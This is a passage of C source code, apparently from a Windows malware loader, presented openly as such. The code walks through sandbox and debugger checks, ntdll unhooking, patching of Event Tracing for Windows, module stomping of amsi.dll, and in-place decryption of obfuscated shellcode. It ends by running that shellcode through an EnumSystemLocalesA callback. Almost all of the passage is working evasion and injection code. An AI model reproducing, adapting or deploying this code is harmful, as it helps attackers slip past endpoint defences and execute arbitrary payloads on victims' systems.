deObfuscate(b, SIZEOF(b)); 276 | deObfuscate(cCreateFileA, SIZEOF(cCreateFileA)); 277 | deObfuscate(cGetCurrentProcess, SIZEOF(cGetCurrentProcess)); 278 | deObfuscate(cMapViewOfFile, SIZEOF(cMapViewOfFile)); 279 | deObfuscate(cCheckRemote, SIZEOF(cCheckRemote)); 280 | deObfuscate(cCheckGlobalMemory, SIZEOF(cCheckGlobalMemory)); 281 | deObfuscate(cCreateFileMapping, SIZEOF(cCreateFileMapping)); 282 | } 283 | 284 | /* Function to reverse a shellcode array in 0x format */ 285 | void reverseShellcode(unsigned char *shellcode, int size) { 286 | int i; 287 | unsigned char temp; 288 | for (i = 0; i < size/2; i++) { 289 | temp = shellcode[size-i-1]; 290 | shellcode[size-i-1] = shellcode[i]; 291 | shellcode[i] = temp; 292 | } if (size % 2 != 0) { shellcode[size/2] = shellcode[size/2]; } 293 | } 294 | 295 | 296 | 297 | int main(int argc, char** argv) { 298 | 299 | /* 300 | If you want to run the malware in the background use this main function and put a comment in the int main... : 301 | int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { 302 | */ 303 | 304 | EnableConsoleColors(); // دي عشان اول البانر ملكش دعوة بيها ^_^ 305 | banner(); 306 | 307 | unsigned char* pHollowedDLL; 308 | HMODULE hAMSI, hModule; 309 | DWORD dwOldProtection = 0; 310 | DWORD dwOldProtect = 0; 311 | BOOL bTrap = FALSE; 312 | char* pMem; 313 | int nMemAlloc, nCtr = 0; 314 | 315 | /* Checking the file name is a sandbox evasion technique - if the filename isn't killer.exe will exit - it will check from the terminal argument "argv" */ 316 | if (strstr(argv[0], "killer.exe") == NULL) { 317 | PRINT_ERROR("Sandbox detected - Filename changed :( \n"); 318 | return -2; 319 | } 320 | 321 | /* 322 | sets all the bytes in the allocated memory block to 0x00, and checks for errors. 323 | checking if the allocated memory block is larger than the amount of memory that would typically be available on a sandboxed machine 324 | 325 | Stolen from : https://github.com/abdallah-elsharif/hellMaker/blob/main/samples/calc64.c#L610 Really nice tool ^_^ 326 | */ 327 | nMemAlloc = KEY << 20; // will be 1048576 328 | if (!(pMem = (char*)malloc(nMemAlloc))) { return EXIT_FAILURE; } 329 | for (int idx = 0; idx < nMemAlloc; idx++) { pMem[nCtr++] = 0x00; } 330 | if (nMemAlloc != nCtr) { return EXIT_FAILURE; } 331 | 332 | deObfuscate(cLib2Name, SIZEOF(cLib2Name)); // decrypt "kernel32.dll" 333 | deObfuscate(cAmsi, SIZEOF(cAmsi)); // decrypt "amsi.dll" 334 | 335 | hAMSI = LoadLibraryA(cAmsi); 336 | 337 | wchar_t wtk[20]; 338 | mbstowcs(wtk, cLib2Name, strlen(cLib2Name)+1); //plus null 339 | LPWSTR wcLib2dll = wtk; 340 | HMODULE hModuleK = myGetModuleHandle(wcLib2dll)); 341 | 342 | free(pMem); 343 | 344 | /* 345 | Module stomping or DLL hallowing is for memory scanning evasion it's really nice technique 346 | This technique is fixed and modified from : https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection 347 | */ 348 | 349 | PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hAMSI; 350 | PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDosHeader + pDosHeader->e_lfanew); 351 | PIMAGE_SECTION_HEADER pSection; 352 | int index = 0; 353 | do { 354 | pSection = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pNtHeaders) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * index++)); 355 | PRINT_STATUS("Try to find .text section, sec name %s", (const char*)pSection->Name); 356 | } while (strncmp((const char*)pSection->Name, ".text", 5) != 0); 357 | 358 | /* After finding .text section from DLL we are trying to resolve it's address */ 359 | pHollowedDLL = (unsigned char*)((DWORD_PTR)pDosHeader + pSection->VirtualAddress); 360 | 361 | deObfuscateNT(); 362 | deObfuscate(cNtdll, SIZEOF(cNtdll)); 363 | 364 | /* 365 | Copy ntdll to a fresh memory alloc and overwrite calls adresses, you can read about it from here : 366 | https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++ 367 | */ 368 | 369 | PRINT_STATUS("Copy ntdll to a fresh memory allocation and overwrite calls adresses, Detecting ntdll hooking : \n"); 370 | int nbHooks = 0; 371 | 372 | wchar_t wtext[20]; 373 | mbstowcs(wtext, cNtdll, strlen(cNtdll)+1); //plus null 374 | LPWSTR wNtdll = wtext; 375 | 376 | if (isItHooked(myGetProcAddr(myGetModuleHandle(wNtdll), cNtAllocateVirtualMemory))) { PRINT_ERROR(" NtAllocateVirtualMemory is Hooked\n"); nbHooks++; } else { PRINT_SUCCESS(" NtAllocateVirtualMemory Not Hooked"); } 377 | if (isItHooked(myGetProcAddr(myGetModuleHandle(wNtdll), cNtProtectVirtualMemory))) { PRINT_ERROR(" NtProtectVirtualMemory is Hooked\n"); nbHooks++; } else { PRINT_SUCCESS(" NtProtectVirtualMemory Not Hooked"); } 378 | if (isItHooked(myGetProcAddr(myGetModuleHandle(wNtdll), cNtCreateThreadEx))) {PRINT_ERROR(" NtCreateThreadEx is Hooked\n"); nbHooks++; } else { PRINT_SUCCESS(" NtCreateThreadEx Not Hooked"); } 379 | if (isItHooked(myGetProcAddr(myGetModuleHandle(wNtdll), cNtQueryInformationThread))) {PRINT_ERROR(" NtQueryInformationThread Hooked\n"); nbHooks++; } else { PRINT_SUCCESS(" NtQueryInformationThread Not Hooked\n"); } 380 | 381 | deObfuscateFunc(); 382 | 383 | /* Load system functions */ 384 | 385 | if (hModuleK != NULL) { 386 | pVirtualProtectFunc = (VirtualProtectFunc)myGetProcAddr(hModuleK, b); 387 | pCreateFileAFunc = (CreateFileAFunc)myGetProcAddr(hModuleK, cCreateFileA); 388 | pGetCurrentProcessFunc = (GetCurrentProcessFunc)myGetProcAddr(hModuleK, cGetCurrentProcess); 389 | pCheckRemoteDebuggerPresentFunc = (CheckRemoteDebuggerPresentFunc)myGetProcAddr(hModuleK, cCheckRemote); 390 | pGlobalMemoryStatusExFunc = (GlobalMemoryStatusExFunc)myGetProcAddr(hModuleK, cCheckGlobalMemory); 391 | pMapViewOfFileFunc = (MapViewOfFileFunc)myGetProcAddr(hModuleK, cMapViewOfFile); 392 | pCreateFileMappingAFunc = (CreateFileMappingAFunc)myGetProcAddr(hModuleK, cCreateFileMapping); 393 | } 394 | 395 | /* 396 | This code attempts to create a nonexistent file and returns an error if successful. 397 | This is a sandbox evasion technique used to confuse analysis tools by mimicking benign file access behavior. 398 | */ 399 | 400 | if (pCreateFileAFunc(cLib2Name, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL) != INVALID_HANDLE_VALUE) 401 | { 402 | PRINT_ERROR("The nonexistent file is detected !!! trying to exit"); 403 | return EXIT_FAILURE; 404 | } 405 | 406 | // Check if all required system functions were loaded successfully 407 | if (!(pVirtualProtectFunc && pCreateFileAFunc && pGetCurrentProcessFunc && pCheckRemoteDebuggerPresentFunc && pCreateFileMappingAFunc && pGlobalMemoryStatusExFunc && pMapViewOfFileFunc)) { 408 | PRINT_ERROR("Failed to load required system functions."); // Display error message 409 | return EXIT_FAILURE; 410 | } 411 | 412 | // check NUMA 413 | if (checkNUMA()) { PRINT_ERROR("NUMA memory allocate failed :( \n"); return -2; } 414 | if (checkResources() == false) { PRINT_ERROR("I got you sandbox, it's can't be run here :(\n"); return -2; } 415 | PRINT_SUCCESST("Sandbox rounds finished no sandbox detected ;)"); 416 | 417 | if (!pCheckRemoteDebuggerPresentFunc(pGetCurrentProcessFunc(), &bTrap) || bTrap) { return EXIT_FAILURE; } else { PRINT_SUCCESST("Debugger is not attach"); } 418 | 419 | if (nbHooks > 0) { 420 | char path[] = { 'C',':','\\','W','i','n','d','o','w','s','\\','S','y','s','t','e','m','3','2','\\','n','t','d','l','l','.','d','l','l',0 }; 421 | char sntdll[] = { '.','t','e','x','t',0 }; 422 | HANDLE process = pGetCurrentProcessFunc(); 423 | MODULEINFO mi = {}; 424 | HMODULE ntdllModule = myGetModuleHandle(wNtdll); 425 | GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); 426 | LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; 427 | 428 | HANDLE ntdllFile = pCreateFileAFunc(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 429 | HANDLE ntdllMapping = pCreateFileMappingAFunc(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); 430 | LPVOID ntdllMappingAddress = pMapViewOfFileFunc(ntdllMapping, FILE_MAP_READ, 0, 0, 0); 431 | PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; 432 | PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); 433 | for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { 434 | PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); 435 | if (!strcmp((char*)hookedSectionHeader->Name, (char*)sntdll)) { 436 | DWORD oldProtection = 0; 437 | bool isProtected = pVirtualProtectFunc((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); 438 | memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); 439 | isProtected = pVirtualProtectFunc((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); 440 | } 441 | } 442 | 443 | printf("\n[+] Detecting hooks in new ntdll module\n"); 444 | 445 | if (isItHooked(myGetProcAddr(myGetModuleHandle(wNtdll), cNtAllocateVirtualMemory))) { PRINT_ERROR(" NtAllocateVirtualMemory Hooked\n"); } else { PRINT_SUCCESS(" NtAllocateVirtualMemory Not Hooked\n"); } 446 | if (isItHooked(myGetProcAddr(myGetModuleHandle(wNtdll), cNtProtectVirtualMemory))) { PRINT_ERROR(" NtProtectVirtualMemory Hooked\n");} else { PRINT_SUCCESS(" NtProtectVirtualMemory Not Hooked\n"); } 447 | if (isItHooked(myGetProcAddr(myGetModuleHandle(wNtdll), cNtCreateThreadEx))) { PRINT_ERROR(" NtCreateThreadEx is Hooked\n"); nbHooks++; } else { PRINT_SUCCESS(" NtCreateThreadEx Not Hooked\n"); } 448 | if (isItHooked(myGetProcAddr(myGetModuleHandle(wNtdll), cNtQueryInformationThread))) { PRINT_ERROR(" NtQueryInformationThread Hooked\n"); } else { PRINT_SUCCESS("NtQueryInformationThread Not Hooked\n"); } 449 | } else { PRINT_STATUS("No hooked modules to unhook it!"); } 450 | 451 | HINSTANCE hNtdll = myGetModuleHandle(wNtdll); 452 | uNtAllocateVirtualMemory NtAllocateVirtualMemory = (uNtAllocateVirtualMemory)myGetProcAddr(hNtdll, cNtAllocateVirtualMemory); 453 | uNtWriteVirtualMemory NtWriteVirtualMemory = (uNtWriteVirtualMemory)myGetProcAddr(hNtdll, cNtWriteVirtualMemory); 454 | uNtProtectVirtualMemory NtProtectVirtualMemory = (uNtProtectVirtualMemory)myGetProcAddr(hNtdll, cNtProtectVirtualMemory); 455 | uNtCreateThreadEx NtCreateThreadEx = (uNtCreateThreadEx)myGetProcAddr(hNtdll, cNtCreateThreadEx); 456 | uNtQueryInformationThread NtQueryInformationThread = (uNtQueryInformationThread)myGetProcAddr(hNtdll, cNtQueryInformationThread); 457 | 458 | /* 459 | PATCH ETW : is technique used for bypassing some security controls, If you want to read about it see this from ired.team : 460 | https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101 461 | */ 462 | 463 | PRINT_SUCCESST("Patching ETW 'Event Tracing for Windows' writer"); 464 | deObfuscate(cEtwEventWrite, SIZEOF(cEtwEventWrite)); 465 | 466 | void* etwAddr = myGetProcAddr(myGetModuleHandle(wNtdll), cEtwEventWrite); 467 | char etwPatch[] = { 0xC3 }; 468 | DWORD lpflOldProtect = 0; 469 | unsigned __int64 memPage = 0x1000; 470 | void* etwAddr_bk = etwAddr; 471 | NtProtectVirtualMemory(pGetCurrentProcessFunc(), (PVOID*)&etwAddr_bk, (PSIZE_T)&memPage, 0x04, &lpflOldProtect); 472 | NtWriteVirtualMemory(pGetCurrentProcessFunc(), (LPVOID)etwAddr, (PVOID)etwPatch, sizeof(etwPatch), (PULONG)nullptr); 473 | NtProtectVirtualMemory(pGetCurrentProcessFunc(), (PVOID*)&etwAddr_bk, (PSIZE_T)&memPage, lpflOldProtect, &lpflOldProtect); 474 | 475 | PRINT_STATUS("ETW patched !"); 476 | PRINT_STATUS("amsi.dll .text address = 0x%p", pHollowedDLL); 477 | 478 | /* the .text section doesn't have Write permission, so we changes protection to RW and later before exection we will restore again to RX */ 479 | PRINT_SUCCESST("converting protection to RW in ntdll"); 480 | if (!VirtualProtect(pHollowedDLL, 4096, PAGE_READWRITE, &dwOldProtection)) { 481 | PRINT_ERROR("Failed to converting protection to RW (%u)\n", GetLastError()); 482 | return -2; 483 | } 484 | 485 | /* 486 | If you want to use RtlMoveMemory API you can use this and comment the manual technique : 487 | RtlMoveMemory(pHollowedDLL, shellcode, sizeof(shellcode)); 488 | */ 489 | 490 | PRINT_SUCCESST("moving the payload to the hollowed memory without using an APIs"); 491 | 492 | for (int i = 0; i < sizeof(shellcode); i++) { 493 | pHollowedDLL[i] = shellcode[i]; 494 | } 495 | 496 | /* 497 | in this phase we can decrypt the paylaod (after stomping) 498 | we can't decrypt before this phase, we must hide payload first 499 | */ 500 | 501 | deObfuscate(decKey, SIZEOF(decKey)); 502 | reverseShellcode(pHollowedDLL, sizeof(shellcode)); 503 | decShell(pHollowedDLL); 504 | 505 | PRINT_SUCCESST("Shellcode & key Decrypted after stomping, Shellcode length: %d", sizeof(shellcode)); 506 | PRINT_STATUS("Restoring RX permission again"); 507 | 508 | if (!VirtualProtect(pHollowedDLL, 4096, dwOldProtection, &dwOldProtection)) { 509 | PRINT_ERROR("Failed to converting protection to RW (%u)\n", GetLastError()); 510 | return -2; 511 | } 512 | 513 | PRINT_SUCCESST("Hit enter to run shellcode/payload without creating a new thread"); getchar(); 514 | 515 | BOOL success = EnumSystemLocalesA((LOCALE_ENUMPROCA)pHollowedDLL, LCID_SUPPORTED); 516 | if (success) { return TRUE; } else { return FALSE; } 517 | 518 | /* 519 | You can also use this technique for executing shellcode without create a new thread : 520 | if (pHollowedDLL) { void (*funcPtr)(void) = (void (*)()) pHollowedDLL; funcPtr(); } 521 | */ 522 | 523 | return 0; 524 | } 525 | --------------------------------------------------------------------------------